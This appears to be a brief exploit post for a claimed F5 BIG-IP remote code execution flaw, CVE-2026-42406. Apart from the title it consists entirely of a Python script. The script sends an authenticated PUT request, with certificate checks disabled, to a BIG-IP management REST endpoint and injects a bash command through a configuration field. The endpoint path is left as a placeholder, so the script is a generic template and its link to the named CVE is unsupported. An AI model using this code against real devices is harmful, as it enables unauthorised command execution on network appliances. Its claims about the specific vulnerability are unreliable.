CVE-2026-42406 F5 BIG-IP远程代码执行漏洞

import requests # Target URL (Example) target_url = "https://<target-ip>/mgmt/tm/.../vulnerable-object" # Authentication credentials (High privilege required) auth = ('admin', 'password') # Payload to inject arbitrary commands via configuration modification payload = { "name": "exploit_config", "command": "/bin/bash -c 'id > /tmp/poc.txt'" # Example command } headers = { 'Content-Type': 'application/json' } # Send request to modify configuration response = requests.put(target_url, json=payload, auth=auth, headers=headers, verify=False) if response.status_code == 200: print("Configuration modified successfully. Check for command execution.") else: print(f"Failed: {response.status_code}")